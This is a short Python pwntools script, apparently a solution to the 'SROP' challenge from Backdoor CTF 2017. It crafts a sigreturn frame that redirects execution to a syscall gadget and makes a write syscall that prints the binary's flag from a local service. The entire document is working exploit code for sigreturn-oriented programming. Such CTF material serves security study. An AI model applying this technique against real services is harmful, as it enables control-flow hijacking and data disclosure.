[Backdoor CTF 2017] SROP

srop.py

from pwn import *
context(arch='amd64', os='linux', log_level='info')

'''
Syscall#   Param 1     Param 2     Param 3     Param 4     Param 5     Param 6
rax        rdi         rsi         rdx         r10         r8          r9

we make a write(STDOUT, *flag, len(flag))
'''

binary = ELF("/tmp/player_bin")
s = remote('127.0.0.1', 5000)

frame = SigreturnFrame(kernel='amd64')
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = binary.symbols['flag']
frame.rdx = 100
frame.rsp = 0xdeadbeef
frame.rip = binary.symbols['syscall']

s.sendline(str(frame))
s.interactive()